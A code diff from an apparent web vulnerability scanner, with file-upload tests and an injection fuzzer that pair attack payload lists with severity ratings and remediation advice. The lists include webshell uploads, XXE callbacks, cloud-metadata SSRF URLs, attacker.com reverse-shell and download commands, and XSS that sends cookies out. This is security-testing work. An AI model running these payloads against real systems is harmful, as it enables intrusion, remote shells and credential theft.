+ f"HTTP {status} with {len(body)} bytes response. "
227
+ f"Server accepted potentially dangerous content without proper validation.",
228
+ remediation=self._remediation_for(test_name),
229
+ payload=f"{variant_filename} ({content_type})",
230
+ evidence=f"Upload accepted with status {status}",
231
+ request_details=f"POST {action} multipart/form-data field=file filename={variant_filename}",
232
+ response_details=f"HTTP {status}, body: {body[:200]}",
233
+ cwe_ids=cwe,
234
+ owasp_category=owasp,
235
+ )
236
+ self.log("CRITICAL", f"[FileUpload] {combined_name} — ACCEPTED by {action}!")
237
+ else:
238
+ if variant_label == "plain":
239
+ self.log("SUCCESS", f"[FileUpload] {test_name} — blocked ({status}).")
240
+
241
+ # SVG XXE callback test
242
+ try:
243
+ xxe_data = self._make_svg_xxe_callback()
244
+ body, status = self._multipart_upload(action, "file", "xxe_test.svg", xxe_data, "image/svg+xml", hidden)
245
+ if body and self._check_success(body, status, "xxe_test.svg"):
246
+ self.add_vuln(
247
+ title="SVG XXE Upload with OOB Callback",
248
+ severity="Critical",
249
+ category="Insecure File Upload",
250
+ cvss_score=9.1,
251
+ confidence="High",
252
+ description=f"SVG XXE payload with OOB callback accepted at `{action}`. "
253
+ "If the server parses the SVG's internal DTD, XML external entities "
254
+ "may be processed, leading to SSRF, file disclosure, or DoS.",
255
+ remediation="Disable external entity processing in XML/SVG parsers. "
256
+ "Reject SVG uploads entirely unless strictly necessary.",
257
+ payload="SVG with DOCTYPE + XXE callback",
258
+ evidence=f"Upload accepted with status {status}",
259
+ request_details=f"POST {action} SVG XXE callback",
260
+ response_details=f"HTTP {status}, body: {body[:200]}",
261
+ cwe_ids=["CWE-611", "CWE-434"],
262
+ owasp_category="A05:2021 – Security Misconfiguration",
263
+ )
264
+ self.log("CRITICAL", f"[FileUpload] SVG XXE callback — ACCEPTED by {action}!")
265
+ except Exception as e:
266
+ self.log("ERROR", f"[FileUpload] SVG XXE callback error: {e}")
267
+
268
+ # Server-side include callback test
269
+ try:
270
+ ssi_callback = f'<!--#echo var="DOCUMENT_NAME" -->\n<!--#exec cmd="echo WSS-UPLOAD-PROBE" -->\n<!-- callback: {build_callback_url("/ssi")} -->'
271
+ body, status = self._multipart_upload(action, "file", "test.shtml", ssi_callback.encode(), "text/html", hidden)
272
+ if body and self._check_success(body, status, "test.shtml"):
273
+ self.add_vuln(
274
+ title="Server-Side Include Upload with OOB Callback",
275
+ severity="High",
276
+ category="Insecure File Upload",
277
+ cvss_score=8.2,
278
+ confidence="High",
279
+ description=f"SSI payload with OOB callback accepted at `{action}`. "
280
+ "If the server processes Server-Side Includes, the callback URL embedded "
281
+ "in the file may be requested by the server, confirming SSI execution.",
282
+ remediation="Disable SSI processing for uploaded files. Rename uploads to .txt or .download.",
283
+ payload="SSI with exec directive + callback",
284
+ evidence=f"Upload accepted with status {status}",
285
+ request_details=f"POST {action} SSI callback",
286
+ response_details=f"HTTP {status}, body: {body[:200]}",
287
+ cwe_ids=cwe,
288
+ owasp_category=owasp,
289
+ )
290
+ self.log("CRITICAL", f"[FileUpload] SSI callback — ACCEPTED by {action}!")
291
+ except Exception as e:
292
+ self.log("ERROR", f"[FileUpload] SSI callback test error: {e}")
293
+
294
+ # Content-type boundary violation tests
295
+ boundary_tests = [
296
+ ("Content-Type Boundary: mixed/malformed", "shell.php", "multipart/mixed; boundary=--malformed"),
297
+ ("Content-Type Boundary: extra charset", "shell.php", "image/jpeg; charset=utf-7"),
298
+ ("Content-Type Boundary: double content-type", "shell.php", "image/jpeg, text/html"),
299
+ ]
300
+ for bt_name, bt_filename, bt_ct in boundary_tests:
301
+ try:
302
+ body, status = self._multipart_upload(action, "file", bt_filename, PHP_SHELL, bt_ct, hidden)
303
+ if body and self._check_success(body, status, bt_filename):
304
+ self.add_vuln(
305
+ title=f"File Upload Bypass — {bt_name}",
306
+ severity="High",
307
+ category="Insecure File Upload",
308
+ cvss_score=7.5,
309
+ confidence="High",
310
+ description=f"Upload to `{action}` accepted with malformed Content-Type `{bt_ct}`. "
311
+ "Boundary/content-type violations can bypass WAF rules that only check specific MIME types.",
312
+ remediation="Validate Content-Type against a strict allowlist. "
313
+ "Reject malformed or multiple Content-Type values.",
314
+ payload=f"{bt_filename} ({bt_ct})",
315
+ evidence=f"Upload accepted with status {status}",
316
+ request_details=f"POST {action} Content-Type: {bt_ct}",
317
+ response_details=f"HTTP {status}, body: {body[:200]}",
318
+ cwe_ids=cwe,
319
+ owasp_category=owasp,
320
+ )
321
+ self.log("CRITICAL", f"[FileUpload] {bt_name} — ACCEPTED by {action}!")
322
+ except Exception as e:
323
+ self.log("ERROR", f"[FileUpload] Content-type boundary test error: {e}")
324
+
325
+ def _make_php_payload(self): return PHP_SHELL
326
+ def _make_asp_payload(self): return ASP_SHELL
327
+ def _make_jsp_payload(self): return JSP_SHELL
328
+ def _make_php_as_jpeg(self): return JPEG_MAGIC[:20] + PHP_SHELL
329
+ def _make_imagetragick_mvg(self): return IMAGETRAGICK_MVG
330
+ def _make_imagetragick_msl(self): return IMAGETRAGICK_MSL
331
+ def _make_svg_xss(self): return SVG_XSS_PAYLOAD
332
+
333
+ def _make_png_payload(self):
334
+ return PNG_MAGIC + PHP_SHELL
335
+
336
+ def _make_gif_payload(self):
337
+ return GIF_MAGIC + PHP_SHELL
338
+
339
+ def _make_ssi_payload(self):
340
+ return b'<!--#echo var="DOCUMENT_NAME" -->\n<!--#exec cmd="echo WSS-UPLOAD-PROBE" -->'
341
+
342
+ def _make_polyglot(self):
343
+ return JPEG_MAGIC + b"\xff\xfe" + len(PHP_SHELL).to_bytes(2, 'big') + PHP_SHELL + b"\xff\xd9"
344
+
345
+ def _make_pdf_polyglot(self):
346
+ return PDF_PHP_POLYGLOT
347
+
348
+ def _make_svg_xxe_callback(self):
349
+ return SVG_XXE_CALLBACK.format(callback=build_callback_url("/xxe")).encode()
350
+
351
+ def _make_svg_callback_payload(self):
352
+ return SVG_XSS_PAYLOAD + f"\n<!-- callback: {build_callback_url('/svg')} -->\n".encode()
353
+
354
+ def _make_war_payload(self):
355
+ buf = io.BytesIO()
356
+ with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
357
+ zf.writestr("WEB-INF/web.xml", b"""<?xml version="1.0"?>
358
+ <web-app><servlet><servlet-name>Shell</servlet-name>
359
+ <servlet-class>Shell</servlet-class></servlet></web-app>""")
360
+ zf.writestr("Shell.jsp", JSP_SHELL)
361
+ return buf.getvalue()
362
+
363
+ def _make_zip_slip(self):
364
+ buf = io.BytesIO()
365
+ with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
366
+ zf.writestr("image.jpg", "WSS-ZIP-NORMAL")
367
+ zi = zipfile.ZipInfo("../../../../tmp/wss_slip.php")
368
+ zi.compress_type = zipfile.ZIP_DEFLATED
369
+ zf.writestr(zi, "<?php echo 'WSS-ZIP-SLIP'; ?>")
370
+ return buf.getvalue()
371
+
372
+ def _multipart_upload(self, url, field_name, filename, data, content_type, extra_fields):
373
+ boundary = "WSSBoundary8675309"
374
+ body_parts = []
375
+ for k, v in extra_fields.items():
376
+ body_parts.append(
377
+ f'--{boundary}\r\nContent-Disposition: form-data; name="{k}"\r\n\r\n{v}'.encode()
378
+ )
379
+ disp = f'--{boundary}\r\nContent-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\nContent-Type: {content_type}\r\n\r\n'
380
+ body_parts.append(disp.encode() + data)
381
+ body_parts.append(f'\r\n--{boundary}--\r\n'.encode())
382
+ body = b"\r\n".join(body_parts)
383
+ try:
384
+ req = urllib.request.Request(url, data=body, method="POST",
385
+ headers=self._make_headers({"Content-Type": f"multipart/form-data; boundary={boundary}"}))
386
+ with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
387
+ return r.read().decode("utf-8", errors="ignore"), r.status
388
+ except urllib.error.HTTPError as e:
389
+ return e.read().decode("utf-8", errors="ignore"), e.code
390
+ except Exception as e:
391
+ self.log("ERROR", f"[FileUpload] Upload error: {e}")
392
+ return None, 0
393
+
394
+ def _check_success(self, body, status, filename):
395
+ if status not in (200, 201, 302):
396
+ return False
397
+ body_lower = body.lower()
398
+ if PROBE_MARKER.lower() in body_lower:
399
+ return True
400
+ if any(m.lower() in body_lower for m in UPLOAD_RESPONSE_MARKERS):
401
+ return True
402
+ fn_lower = filename.lower().replace("\x00", "")
403
+ if fn_lower in body_lower and "error" not in body_lower:
404
+ return True
405
+ return False
406
+
407
+ def _severity_for(self, test_name):
408
+ if any(k in test_name for k in ("PHP", "Polyglot", "ImageTragick", "Zip Slip", "WAR", "JSP", "ASP")):
409
+ return "Critical"
410
+ if "SVG" in test_name:
411
+ return "High"
412
+ if "Content-Type Bypass" in test_name:
413
+ return "High"
414
+ if "Magic Byte" in test_name:
415
+ return "High"
416
+ return "High"
417
+
418
+ def _cvss_for(self, test_name):
419
+ if any(k in test_name for k in ("PHP", "Polyglot", "ImageTragick", "WAR")):
420
+ return 9.8
421
+ if "Zip Slip" in test_name:
422
+ return 8.6
423
+ if "JSP" in test_name or "ASP" in test_name:
424
+ return 9.0
425
+ return 7.5
426
+
427
+ def _remediation_for(self, test_name):
428
+ base = ("1. Validate magic bytes (file header), NOT the extension or Content-Type.\n"
429
+ "2. Rename all uploads to UUID filenames (no user-controlled names).\n"
430
+ "3. Store uploads outside the webroot or in a dedicated S3/CDN bucket.\n"
431
+ "4. Serve files through a proxy that sets Content-Disposition: attachment.\n")
432
+ if "ImageTragick" in test_name:
433
+ return base + "5. **Patch ImageMagick** — add `pattern:*` to policy.xml deny list.\n Upgrade to ImageMagick ≥ 6.9.3-10 or ≥ 7.0.1-1."
434
+ if "Zip Slip" in test_name:
435
+ return base + "5. Sanitize zip entry paths: reject entries starting with `../` or `/`.\n Use `zipEntry.getName().startsWith(\"..\")` checks before extraction."
436
+ if "SVG" in test_name:
437
+ return base + "5. Reject SVG/XML uploads or sanitize with DOMPurify server-side.\n Serve SVGs with `Content-Type: text/plain` if display is needed."
438
+ if "WAR" in test_name:
439
+ return base + "5. Block WAR uploads unless explicitly required. Validate archive contents against allowlist."
440
+ if "Extension" in test_name or "Bypass" in test_name or "Magic" in test_name:
441
+ return base + "5. Use a comprehensive extension denylist. Validate Content-Type matches actual file magic bytes."
442
+ return base
backend/scanners/fuzzer_scanner.py ADDED
@@ -0,0 +1,838 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ fuzzer_scanner.py — Active XSS & SQL Injection Fuzzer
3
+ =====================================================
4
+ Senior Security Engineer-grade injection testing module.
5
+
6
+ This scanner:
7
+ 1. Crawls the target page recursively using WebCrawler.
8
+ 2. Injects curated SQLi and XSS payloads into every discovered input vector.
9
+ 3. Analyses HTTP responses for database error signatures (MySQL, PostgreSQL,
10
+ MSSQL, Oracle, SQLite) and reflected XSS payload markers.
11
+ 4. Performs boolean-based blind SQL injection checks.
12
+ 5. Reports each confirmed injection point with severity, CVSS, evidence,
13
+ and remediation guidance.
14
+ """
15
+ import urllib.request, urllib.error, urllib.parse, ssl, re, time
16
+ from html.parser import HTMLParser
17
+ from scanners.base_scanner import BaseScanner
18
+ from utils.web_crawler import WebCrawler
19
+ from utils.fuzzer_engine import ContextAwareFuzzer, TYPE_MUTATIONS
20
+
21
+ # ──────────────────────────────────────────────────────────────────────
22
+ # Payload Sets
23
+ # ──────────────────────────────────────────────────────────────────────
24
+ SQLI_PAYLOADS = [
25
+ # Classic auth-bypass / error-based
26
+ "' OR '1'='1",
27
+ "' OR '1'='1' --",
28
+ "' OR '1'='1' /*",
29
+ '" OR "1"="1"',
30
+ "1' AND 1=1 --",
31
+ "1' AND 1=0 --",
32
+ "' UNION SELECT NULL --",
33
+ "' UNION SELECT NULL, NULL --",
34
+ "'; WAITFOR DELAY '0:0:3' --",
35
+ "1; SELECT SLEEP(3) --",
36
+ "admin'--",
37
+ "admin' #",
38
+ "admin' --",
39
+ "' OR 1=1#",
40
+ "' OR 1=1--",
41
+ '" OR 1=1--',
42
+ "\" OR \"1\"=\"1",
43
+ "' OR 'a'='a",
44
+ "') OR ('1'='1",
45
+ "1' ORDER BY 1 --",
46
+ "1' ORDER BY 100 --",
47
+ "' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --",
48
+ ]
49
+
50
+ XSS_PAYLOADS = [
51
+ '<script>alert("XSS")</script>',
52
+ '"><script>alert(1)</script>',
53
+ "'\"><img src=x onerror=alert(1)>",
54
+ '<svg onload=alert(1)>',
55
+ '"><svg/onload=alert(1)>',
56
+ "javascript:alert(1)",
57
+ '<img src=x onerror=alert("XSS")>',
58
+ '{{7*7}}', # SSTI probe
59
+ '${7*7}', # Template injection probe
60
+ '<body onload=alert(1)>',
61
+ '<input onfocus=alert(1) autofocus>',
62
+ '" onfocus="alert(1)" autofocus="',
63
+ "';alert(1)//",
64
+ '<details open ontoggle=alert(1)>',
65
+
66
+ # Additional payloads from user XSS script
67
+ "<script>alert('XSS')</script>",
68
+ "<script>alert(1)</script>",
69
+ "<img src=x onerror=alert('XSS')>",
70
+ "<svg/onload=alert('XSS')>",
71
+ "<iframe src=javascript:alert('XSS')>",
72
+ "<body onload=alert('XSS')>",
73
+ "<input onfocus=alert('XSS') autofocus>",
74
+ "<select onfocus=alert('XSS') autofocus>",
75
+ "<textarea onfocus=alert('XSS') autofocus>",
76
+ "<iframe src='javascript:alert(\"XSS\")'>",
77
+ "'\"><script>alert(String.fromCharCode(88,83,83))</script>",
78
+ "<scr<script>ipt>alert('XSS')</scr</script>ipt>",
79
+ ]
80
+
81
+ # Advanced Red-Team Payloads
82
+ TIME_BASED_SQLI = [
83
+ "SLEEP(5)/*",
84
+ "' OR SLEEP(5)='",
85
+ "pg_sleep(5)--",
86
+ "'; WAITFOR DELAY '0:0:5'--",
87
+ "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
88
+ "'; SELECT pg_sleep(5)--",
89
+ "1; SELECT SLEEP(5)#",
90
+ "' OR BENCHMARK(5000000,MD5(1))--",
91
+ "1 AND SLEEP(5)#",
92
+ "'; EXEC xp_cmdshell('ping 127.0.0.1 -n 5')--"
93
+ ]
94
+
95
+ SSRF_PAYLOADS = [
96
+ "http://169.254.169.254/latest/meta-data/",
97
+ "http://127.0.0.1:80",
98
+ "http://localhost:22",
99
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
100
+ "http://169.254.169.254/latest/user-data",
101
+ "http://metadata.google.internal/computeMetadata/v1/",
102
+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
103
+ "http://0177.0.0.1",
104
+ "http://0x7f.0.0.1",
105
+ "http://2130706433",
106
+ "file:///etc/passwd",
107
+ "file:///windows/win.ini"
108
+ ]
109
+
110
+ CMD_INJECTION_PAYLOADS = [
111
+ "; cat /etc/passwd",
112
+ "| type C:\\Windows\\win.ini",
113
+ "`id`",
114
+ "$(whoami)",
115
+ "; ls -la",
116
+ "| dir",
117
+ "&& whoami",
118
+ "; curl http://attacker.com/$(whoami)",
119
+ "| powershell -c 'Get-Process'",
120
+ "`nslookup attacker.com`",
121
+ "; wget http://attacker.com/shell.sh",
122
+ "$(curl http://attacker.com)",
123
+ "; bash -i >& /dev/tcp/attacker.com/4444 0>&1",
124
+ "| nc attacker.com 4444 -e /bin/bash"
125
+ ]
126
+
127
+ # Advanced XSS Payloads for DOM-based and stored XSS
128
+ ADVANCED_XSS_PAYLOADS = [
129
+ "<script>document.location='http://attacker.com/?c='+document.cookie</script>",
130
+ "<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",
131
+ "<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
132
+ "<details open ontoggle=alert(1)>",
133
+ "<iframe srcdoc='<script>alert(1)</script>'>",
134
+ "<object data='javascript:alert(1)'>",
135
+ "<embed src='javascript:alert(1)'>",
136
+ "<math><maction actiontype='statusline' onactivate=alert(1)>click</maction></math>",
137
+ "<form><button formaction='javascript:alert(1)'>XSS</button></form>",
138
+ "<input type='text' onfocus='alert(1)' autofocus>",
139
+ "<select onfocus='alert(1)' autofocus><option>XSS</option></select>",
140
+ "<textarea onfocus='alert(1)' autofocus>XSS</textarea>",
141
+ "<keygen onfocus='alert(1)' autofocus>",
142
+ "<video><source onerror='alert(1)'>",
143
+ "<audio src=x onerror='alert(1)'>",
144
+ "<marquee onstart='alert(1)'>XSS</marquee>",
145
+ "<isindex action='javascript:alert(1)' type='submit'>",
146
+ "<iframe src='data:text/html,<script>alert(1)</script>'>"
147
+ ]
148
+
149
+ # LDAP Injection Payloads
150
+ LDAP_INJECTION_PAYLOADS = [
151
+ "*)(uid=*",
152
+ "*)(&",
153
+ "*)(|(objectClass=*)",
154
+ "*)(|(password=*",
155
+ "*))%00",
156
+ "*)(&(|(objectClass=*",
157
+ "*)(|(cn=*",
158
+ "*)(|(sn=*"
159
+ ]
160
+
161
+ # NoSQL Injection Payloads
162
+ NOSQL_INJECTION_PAYLOADS = [
163
+ "' || '1'=='1",
164
+ "' && '1'=='1",
165
+ "'; return true;//",
166
+ "' && this.password.match(/.*/)//",
167
+ "' && this.password.match(/^a/)//",
168
+ "' && this.password.length>0//",
169
+ "' && this.password.length<10//",
170
+ "' && this.password=='admin'//",
171
+ "' || true)//",
172
+ "' && true)//"
173
+ ]
174
+
175
+ # Prototype Pollution Payloads
176
+ PROTOTYPE_POLLUTION_PAYLOADS = [
177
+ '{"__proto__":{"admin":true}}',
178
+ '{"constructor":{"prototype":{"admin":true}}}',
179
+ '{"__proto__":{"isAdmin":true}}',
180
+ '{"__proto__":{"auth":"admin"}}',
181
+ '{"constructor":{"prototype":{"auth":"admin"}}}'
182
+ ]
183
+
184
+ # Database error signatures — evidence of SQL injection
185
+ DB_ERROR_PATTERNS = [
186
+ (r"You have an error in your SQL syntax", "MySQL"),
187
+ (r"Warning.*mysql_", "MySQL"),
188
+ (r"MySQLSyntaxErrorException", "MySQL"),
189
+ (r"valid MySQL result", "MySQL"),
190
+ (r"PostgreSQL.*ERROR", "PostgreSQL"),
191
+ (r"pg_query\(\).*failed", "PostgreSQL"),
192
+ (r"PSQLException", "PostgreSQL"),
193
+ (r"unterminated quoted string", "PostgreSQL"),
194
+ (r"Microsoft OLE DB Provider for SQL Server", "MSSQL"),
195
+ (r"Unclosed quotation mark after the character string", "MSSQL"),
196
+ (r"Microsoft SQL Native Client error", "MSSQL"),
197
+ (r"ODBC SQL Server Driver", "MSSQL"),
198
+ (r"ORA-\d{5}", "Oracle"),
199
+ (r"Oracle error", "Oracle"),
200
+ (r"SQLite3::SQLException", "SQLite"),
201
+ (r"SQLITE_ERROR", "SQLite"),
202
+ (r"near \".*\": syntax error", "SQLite"),
203
+ (r"SQL syntax.*MariaDB", "MariaDB"),
204
+ (r"javax\.persistence\.PersistenceException", "JPA/Hibernate"),
205
+ (r"org\.hibernate\.exception", "Hibernate"),
206
+ ]
207
+
208
+ # ──────────────────────────────────────────────────────────────────────
209
+ # HTML Form Parser (Retained for backwards compatibility)
210
+ # ──────────────────────────────────────────────────────────────────────
211
+ class FormParser(HTMLParser):
212
+ """Parse HTML to extract <form> elements with their <input>/<textarea> fields."""
213
+
214
+ def __init__(self):
215
+ super().__init__()
216
+ self.forms = []
217
+ self._current_form = None
218
+
219
+ def handle_starttag(self, tag, attrs):
220
+ attrs_dict = dict(attrs)
221
+ if tag == "form":
222
+ self._current_form = {
223
+ "action": attrs_dict.get("action", ""),
224
+ "method": attrs_dict.get("method", "GET").upper(),
225
+ "inputs": [],
226
+ }
227
+ elif tag in ("input", "textarea", "select") and self._current_form is not None:
228
+ input_type = attrs_dict.get("type", "text").lower()
229
+ # Skip submit/button/hidden/file inputs
230
+ if input_type not in ("submit", "button", "image", "file", "hidden", "reset"):
231
+ name = attrs_dict.get("name", attrs_dict.get("id", ""))
232
+ if name:
233
+ self._current_form["inputs"].append({
234
+ "name": name,
235
+ "type": input_type,
236
+ "value": attrs_dict.get("value", ""),
237
+ })
238
+ # Also capture hidden fields for completeness but don't fuzz them
239
+ elif input_type == "hidden":
240
+ name = attrs_dict.get("name", "")
241
+ if name:
242
+ self._current_form["inputs"].append({
243
+ "name": name,
244
+ "type": "hidden",
245
+ "value": attrs_dict.get("value", ""),
246
+ })
247
+
248
+ def handle_endtag(self, tag):
249
+ if tag == "form" and self._current_form is not None:
250
+ self.forms.append(self._current_form)
251
+ self._current_form = None
252
+
253
+
254
+ # ──────────────────────────────────────────────────────────────────────
255
+ # Scanner Implementation
256
+ # ──────────────────────────────────────────────────────────────────────
257
+ class FuzzerScanner(BaseScanner):
258
+ SCANNER_NAME = "XSS & SQL Injection Fuzzer"
259
+
260
+ def __init__(self, scan_id, target, domain, **kwargs):
261
+ super().__init__(scan_id, target, domain, **kwargs)
262
+ self._ctx = ssl.create_default_context()
263
+ self._ctx.check_hostname = False
264
+ self._ctx.verify_mode = ssl.CERT_NONE
265
+ self._headers = {"User-Agent": "LarShield/2.0 Fuzzer"}
266
+ if self.auth_headers:
267
+ self._headers.update(self.auth_headers)
268
+
269
+ self._tested_vectors = 0
270
+ self._sqli_found = 0
271
+ self._xss_found = 0
272
+ self.max_depth = kwargs.get("max_depth", 1)
273
+ self.delay = kwargs.get("delay", 0.2)
274
+ self.exclude_paths = kwargs.get("exclude_paths", [])
275
+ self.red_team = kwargs.get("red_team", False)
276
+ self._fuzzer = ContextAwareFuzzer(self._fuzzer_req)
277
+
278
+ def _sqli_limit(self):
279
+ return len(SQLI_PAYLOADS) if self.red_team else 8
280
+
281
+ def _xss_limit(self):
282
+ return len(XSS_PAYLOADS) if self.red_team else 6
283
+
284
+ def _get(self, url, timeout=8):
285
+ self._throttle()
286
+ try:
287
+ req = urllib.request.Request(url, headers=self._headers)
288
+ with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
289
+ return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
290
+ except urllib.error.HTTPError as e:
291
+ body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
292
+ return body, e.code
293
+ except Exception as e:
294
+ self.log("ERROR", f"[Fuzzer] _get error: {e}")
295
+ return "", 0
296
+
297
+ def _post(self, url, data, timeout=8):
298
+ self._throttle()
299
+ try:
300
+ encoded = urllib.parse.urlencode(data).encode("utf-8")
301
+ req = urllib.request.Request(url, data=encoded, headers={
302
+ **self._headers,
303
+ "Content-Type": "application/x-www-form-urlencoded"
304
+ })
305
+ with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
306
+ return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
307
+ except urllib.error.HTTPError as e:
308
+ body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
309
+ return body, e.code
310
+ except Exception as e:
311
+ self.log("ERROR", f"[Fuzzer] _post error: {e}")
312
+ return "", 0
313
+
314
+ # ── SQLi Detection ────────────────────────────────────────────────
315
+ def _check_sqli(self, body, payload, vector_desc):
316
+ for pattern, db_type in DB_ERROR_PATTERNS:
317
+ if re.search(pattern, body, re.IGNORECASE):
318
+ self._sqli_found += 1
319
+ self.log("CRITICAL",
320
+ f"[Fuzzer] SQL INJECTION CONFIRMED! Vector: {vector_desc} | "
321
+ f"DB: {db_type} | Payload: {payload[:60]}")
322
+ self.add_vuln(
323
+ title=f"SQL Injection — {db_type} Error-Based",
324
+ severity="Critical", category="Injection", cvss_score=9.8,
325
+ description=(
326
+ f"A SQL injection vulnerability was confirmed on {vector_desc}.\n"
327
+ f"Payload: `{payload}`\n"
328
+ f"The server responded with a {db_type} database error, confirming "
329
+ f"unsanitised user input is being concatenated into SQL queries.\n\n"
330
+ f"Impact: An attacker can read/modify/delete all database records, "
331
+ f"escalate privileges, and potentially achieve remote code execution."
332
+ ),
333
+ remediation=(
334
+ "1. USE PARAMETERISED QUERIES / PREPARED STATEMENTS — never concatenate user input into SQL.\n"
335
+ " Python: cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))\n"
336
+ " Node.js: db.query('SELECT * FROM users WHERE id = $1', [userId])\n"
337
+ "2. Use an ORM (SQLAlchemy, Sequelize, Prisma) that handles parameterisation.\n"
338
+ "3. Implement input validation — reject characters like ' \" ; -- /* in non-freetext fields.\n"
339
+ "4. Apply the principle of least privilege to database accounts.\n"
340
+ "5. Deploy a Web Application Firewall (WAF) as defense-in-depth."
341
+ ),
342
+ )
343
+ return True
344
+ return False
345
+
346
+ def _check_boolean_sqli(self, url, param_name, method='GET', form_inputs=None):
347
+ """Test for boolean-based blind SQL injection by comparing true and false logical states."""
348
+ try:
349
+ if method.upper() == 'GET':
350
+ parsed = urllib.parse.urlparse(url)
351
+ params = urllib.parse.parse_qs(parsed.query)
352
+
353
+ params_true = {k: v[0] for k, v in params.items()}
354
+ params_true[param_name] = "' AND '1'='1"
355
+ url_true = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_true)}"
356
+ body_true, _ = self._get(url_true)
357
+
358
+ params_false = {k: v[0] for k, v in params.items()}
359
+ params_false[param_name] = "' AND '1'='2"
360
+ url_false = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_false)}"
361
+ body_false, _ = self._get(url_false)
362
+ else:
363
+ data_true = {}
364
+ if form_inputs:
365
+ for inp in form_inputs:
366
+ data_true[inp["name"]] = inp["value"] or "test"
367
+ data_false = data_true.copy()
368
+ data_true[param_name] = "' AND '1'='1"
369
+ data_false[param_name] = "' AND '1'='2"
370
+ body_true, _ = self._post(url, data_true)
371
+ body_false, _ = self._post(url, data_false)
372
+
373
+ if body_true and body_false and len(body_true) != len(body_false):
374
+ vector_desc = f"{method} {url} → parameter '{param_name}'"
375
+ self._sqli_found += 1
376
+ self.log("CRITICAL", f"[Fuzzer] BLIND SQL INJECTION DETECTED! Vector: {vector_desc}")
377
+ self.add_vuln(
378
+ title="SQL Injection — Boolean-Based Blind",
379
+ severity="Critical", category="Injection", cvss_score=9.8,
380
+ description=(
381
+ f"A boolean-based blind SQL injection vulnerability was confirmed on {vector_desc}.\n"
382
+ f"Injecting `' AND '1'='1` and `' AND '1'='2` produced different response lengths "
383
+ f"({len(body_true)} vs {len(body_false)} bytes), indicating the application's logic "
384
+ f"is influenced by the SQL query response.\n\n"
385
+ f"Impact: An attacker can read arbitrary database schema and data by parsing conditional true/false responses."
386
+ ),
387
+ remediation=(
388
+ "1. Use parameterised queries or prepared statements exclusively.\n"
389
+ "2. Implement strict input validation on all parameters.\n"
390
